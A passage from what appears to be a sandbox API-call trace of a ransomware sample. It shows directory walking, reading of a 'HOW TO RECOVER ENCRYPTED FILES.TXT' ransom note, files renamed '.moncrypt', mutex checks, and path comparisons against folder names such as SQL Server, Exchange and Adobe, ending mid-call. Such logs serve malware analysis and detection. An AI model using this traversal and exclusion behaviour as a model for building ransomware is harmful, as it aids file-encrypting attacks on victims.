ftLastAccessTime.dwLowDateTime=0x40a462c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40a462c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.799] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.799] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.799] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.799] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.799] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.799] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.799] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.799] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.799] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.799] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.799] CloseHandle (hObject=0x18c) returned 1 [0052.800] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.800] GetLastError () returned 0x12 [0052.800] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.800] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.800] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.800] GlobalUnlock (hMem=0x44000c) returned 0 [0052.800] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.800] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.800] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.800] GlobalUnlock (hMem=0x44000c) returned 0 [0052.800] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.800] GlobalUnlock (hMem=0x440004) returned 0 [0052.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40a6c420, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40a6c420, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.800] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.800] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.800] GlobalLock (hMem=0x440004) returned 0x550170 [0052.800] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.800] GlobalUnlock (hMem=0x440004) returned 0 [0052.801] GlobalLock (hMem=0x440004) returned 0x550170 [0052.801] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.801] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.801] GlobalUnlock (hMem=0x440004) returned 0 [0052.801] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.801] GlobalUnlock (hMem=0x44000c) returned 0 [0052.801] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.801] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40a6c420, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40a6c420, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.801] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.801] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.801] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.801] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.801] GlobalUnlock (hMem=0x44000c) returned 0 [0052.801] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.801] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.801] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.801] GlobalUnlock (hMem=0x44000c) returned 0 [0052.801] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.801] GlobalUnlock (hMem=0x440004) returned 0 [0052.801] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.801] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a462c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40a462c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40a462c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.801] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.801] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.801] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.801] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.801] GlobalUnlock (hMem=0x440004) returned 0 [0052.802] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.802] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.802] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.802] GlobalUnlock (hMem=0x440004) returned 0 [0052.802] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.802] GlobalUnlock (hMem=0x44000c) returned 0 [0052.802] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.802] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.802] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.802] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.802] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.802] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.802] GlobalUnlock (hMem=0x44000c) returned 0 [0052.802] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.802] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.802] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.802] GlobalUnlock (hMem=0x44000c) returned 0 [0052.802] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.802] GlobalUnlock (hMem=0x440004) returned 0 [0052.802] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.802] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb823, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM.moncrypt", cAlternateFileName="RADIAL~1.MON")) returned 1 [0052.802] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.802] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.802] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.802] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.802] GlobalUnlock (hMem=0x440004) returned 0 [0052.802] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.803] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.803] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.803] GlobalUnlock (hMem=0x440004) returned 0 [0052.803] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.803] GlobalUnlock (hMem=0x44000c) returned 0 [0052.803] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.803] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0052.803] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.803] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.803] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.803] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.803] GlobalUnlock (hMem=0x44000c) returned 0 [0052.803] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.803] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.803] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.803] GlobalUnlock (hMem=0x44000c) returned 0 [0052.803] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.803] GlobalUnlock (hMem=0x440004) returned 0 [0052.803] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.803] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d30, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.803] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.803] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.803] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.803] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.803] GlobalUnlock (hMem=0x440004) returned 0 [0052.803] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.804] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.804] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.804] GlobalUnlock (hMem=0x440004) returned 0 [0052.804] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.804] GlobalUnlock (hMem=0x44000c) returned 0 [0052.804] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.804] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d30, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.804] GetLastError () returned 0x12 [0052.804] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.804] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0052.804] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.804] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.804] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.804] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.804] GlobalUnlock (hMem=0x44000c) returned 0 [0052.804] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.804] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.804] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.804] GlobalUnlock (hMem=0x44000c) returned 0 [0052.805] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.805] GlobalUnlock (hMem=0x440004) returned 0 [0052.805] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.805] GlobalLock (hMem=0x440004) returned 0x550170 [0052.805] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.805] GlobalUnlock (hMem=0x440004) returned 0 [0052.805] GlobalLock (hMem=0x440004) returned 0x550170 [0052.805] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.805] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.805] GlobalUnlock (hMem=0x440004) returned 0 [0052.805] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.805] GlobalUnlock (hMem=0x44000c) returned 0 [0052.805] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.805] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED", len=0x3f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED") returned 1 [0052.805] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.805] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.805] GlobalUnlock (hMem=0x44000c) returned 0 [0052.805] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.805] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.805] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.805] GlobalUnlock (hMem=0x44000c) returned 0 [0052.805] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.805] GlobalUnlock (hMem=0x440004) returned 0 [0052.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@姸U姌U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.806] GetLastError () returned 0x3 [0052.806] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@奌U企@\x18㿬Q\x181")) returned 0xffffffff [0052.807] GetLastError () returned 0x2 [0052.807] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.807] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.807] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@셤R企@\x18?T\x18;")) returned 0xffffffff [0052.807] GetLastError () returned 0x2 [0052.807] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.807] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.807] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.807] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0052.808] GetLastError () returned 0x2 [0052.808] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.808] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.808] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@奌U企@\x18셤R\x18j")) returned 0xffffffff [0052.808] GetLastError () returned 0x2 [0052.809] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0052.809] GetLastError () returned 0x2 [0052.809] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\셠RP") returned 6 [0052.809] MultiByteToWideChar (in: 